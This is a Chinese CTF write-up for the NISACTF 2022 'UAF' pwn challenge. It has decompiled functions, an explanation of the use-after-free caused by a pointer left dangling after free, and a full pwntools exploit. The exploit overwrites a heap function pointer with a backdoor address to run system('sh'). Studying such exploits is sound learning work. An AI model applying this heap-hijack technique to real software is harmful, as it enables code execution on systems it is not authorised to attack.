首页 > 其他分享 >[NISACTF 2022]UAF

[NISACTF 2022]UAF

时间:2024-04-28 21:11:54浏览次数:27  
标签:2022 idx int v1 io sendlineafter NISACTF page UAF

[NISACTF 2022]UAF

UAF

pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=85bd87e16a35c0c05064a1a0938f6115b8b3b2be, not stripped

$ file pwn

[*] '/home/bamuwe/NISACTF_2022_UAF/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ checksec pwn

int create()
{
  int result; // eax
  int v1; // ebx
  char *v2; // eax

  printf("you are creating the %d page\n", i);
  result = i;
  if ( i >= 0 )
  {
    result = i;
    if ( i <= 9 )
    {
      v1 = i;
      (&page)[v1] = malloc(8u);
      if ( i )									// 判断点
      {
        if ( i <= 0 || i > 9 )
        {
          return puts("NO PAGE");
        }
        else
        {
          puts("Good cretation!");
          return ++i;
        }
      }
      else
      {
        v2 = page;
        *page = 'oaig';                         // giao
        v2[4] = 0;
        *(page + 1) = echo;						// 在堆中存贮了echo()的地址
        puts("The init page");
        return ++i;
      }
    }
  }
  return result;
}

create()函数

int __cdecl NICO(char *command)
{
  return system(command);
}

后门函数NICO()

unsigned int del()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > i )
    puts("NO PAGE");
  else
    free((&page)[v1]);
  return __readgsdword(0x14u) ^ v2;
}											// 没有清空指针

del()函数

unsigned int show()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 )                                     // v1=0
  {
    if ( v1 <= 0 || v1 > i )
      puts("NO PAGE");
    else
      echo((&page)[v1]);
  }
  else
  {
    (*(page + 1))(page);                        // 利用点
  }
  return __readgsdword(0x14u) ^ v2;
}

show()函数

交互函数:

def add():
    io.sendlineafter(b':',b'1')
    
def edit(idx,text):
    io.sendlineafter(b':',b'2')
    io.sendlineafter(b'page\n',str(idx))
    io.sendlineafter(b'strings\n',text)

def free(idx):
    io.sendlineafter(b':',b'3')
    io.sendlineafter(b'page\n',str(idx))

def show(idx):
    io.sendlineafter(b':',b'4')
    io.sendlineafter(b'page\n',str(idx))

程序逻辑:

  1. add()堆块的时候,如果创建的是第一块chunk0则往chunk0+1的位置写入echo()的地址
  2. del()并没有删除指针
  3. show()执行时,如果是chunk1-9非零chunk,则echo((&page)[v1]);,如果是chunk0,则(*(page + 1))(page); ,正常情况下是执行echo(page)

利用思路:

  1. 程序存在UAF,所以可以先申请chunk0然后释放再申请,就可以获得两个指针*chunk0,*chun1都指向同一块内存区域

    add()   #0
    free(0)
    add()   #1
    

    image-20240428204547865

    重新申请的时候由于i的值没有重置(i=1),所以不会重新向chunk中写入echo的地址,我们也可以发现,此时show(0)是失效的

    image-20240428204716350

  2. 只有在chunk0上才能执行我们的利用点

image-20240428203145487

  1. 我们通过*chunk1修改chunk0/1上的内容为sh\x00\x00,我们要考虑栈平衡填充,同时修改page+1为后门函数地址,构造NICO(sh)

    edit(1,b'/sh\x00'+p32(0x8048642))
    show(0)
    

exp:

from pwn import *
io = gdb.debug('./pwn')

def add():
    io.sendlineafter(b':',b'1')
    
def edit(idx,text):
    io.sendlineafter(b':',b'2')
    io.sendlineafter(b'page\n',str(idx))
    io.sendlineafter(b'strings\n',text)

def free(idx):
    io.sendlineafter(b':',b'3')
    io.sendlineafter(b'page\n',str(idx))

def show(idx):
    io.sendlineafter(b':',b'4')
    io.sendlineafter(b'page\n',str(idx))
    
add()   #chunk0
free(0)
add()   #chunk1
edit(1,b'sh\x00\x00'+p32(0x8048642))
show(0)

io.interactive()

标签:2022,idx,int,v1,io,sendlineafter,NISACTF,page,UAF
From: https://www.cnblogs.com/bamuwe/p/18164490

相关文章

  • [HNCTF 2022 WEEK4]ezheap
    [HNCTF2022WEEK4]ezheapOff-By-One|堆溢出|leak_libc[*]'/home/bamuwe/ezheap/ezheap'Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled$checksec./ezheapEasyNo......
  • cf 393017C 石头剪刀布 Metacamp2022-onlineA-dev
     Problem-C-Codeforces 五维的DPg[i][D][r][s][p]i:到了第i个位置D:最后有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面 四维的DPf[i][D][r][s][p]i:到了第i个位置D:目前有D个点放在后面r,s,p:已经选择了r,s,p个石头,剪刀,布放到后面其......
  • P8866 [NOIP2022] 喵了个喵
    P8866[NOIP2022]喵了个喵构造模拟题,思路很简洁,但是代码不好写。首先看到数据范围,发现\(k\)的数据范围很特殊,种类少一种就是部分分,所以\(k\)一定是关键的,先思考\(k=2n-2\)的情况。\(k=2n-2\)观察两种操作,对于即将进入的牌\(x\),若某个栈顶或栈底有相同的\(x\),我们都可......
  • 2022ccpc题解
    2023年第五届河南省CCPC大学生程序设计竞赛ProblemA.Mocha上小班啦思路:求n个数位的最小值,条件:每一位数字都不同切不含前导零。只需要把0放到第二位,其他按从小到大输出,大于10以后输出-1即可。#include<bits/stdc++.h>usingnamespacestd;intmain(){//预处......
  • The 2022 ICPC Asia Xian Regional Contest / ICPC 西安 2022 (ABDHJKL)
    本文搬运自本人的知乎文章。https://zhuanlan.zhihu.com/p/588162564好久没有在补题之后写题解的习惯了。但是最近感觉有些题目的思路即使在题目通过后仍然难以理清,因此觉得需要写些东西帮助自己整理思路,另外也方便以后翻看积累到的技巧。J.StrangeSum题目链接Problem-J......
  • 2022 China Collegiate Programming Contest (CCPC) Mianyang | 2022 CCPC 绵阳(MAED
    搬运自本人知乎文章。https://zhuanlan.zhihu.com/p/588646549M.Rock-Paper-ScissorsPyramid题目链接Problem-M-Codeforces题意有一个长度为\(n\)的石头剪刀布序列,每个元素是RPS(石头、布、剪刀)中的一个,我们需要用这个序列构造一个三角,三角的底层为这个序列,第\(i(......
  • The 2022 ICPC Asia Xian Regional Contest
    The2022ICPCAsiaXianRegionalContestJ.StrangeSum题意:给定n个数,选定最多不超过两个数字的和的最大值思路:签到voidsolve(){lln;cin>>n;vector<ll>a(n+1);for(inti=1;i<=n;i++)cin>>a[i];llans=0;sort(a.begin()......
  • winform打包成安装包文件 vs2022
    项目目录里生成的exe文件,放到其他人电脑上用不了,网上找了下打包的文章,写下来以备以后再次使用1.直接右键点击项目的发布,发布的是本地安装模式。如果需要在其他电脑上安装,需要安装一个微软官方的扩展包才可以2.点击菜单栏-扩展-管理扩展 2.安装VisualStudioInstallerProjec......
  • 洛谷 P8818 [CSP-S 2022] 策略游戏
    https://www.luogu.com.cn/problem/P8818什么玩意儿。。这种策略题不就是你来我往的,你如果选那个我就选这个,到了最后俩人都做不了决策,一直在博弈吗放个示例跑不过去的代码真不想调,这种题就是恶心啊,你说说怎么调呢针对一方的选择,另一方总能选出更优的策略来。然后这一方针对另......
  • Windows Server 2022 OVF, updated Apr 2024 (sysin) - VMware 虚拟机模板
    WindowsServer2022OVF,updatedApr2024(sysin)-VMware虚拟机模板2024年4月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:WindowsServer2022OVF,updatedApr2024(sysin)-VMware虚拟机模板,查看最新版。原创作品,转载请保留出处。作......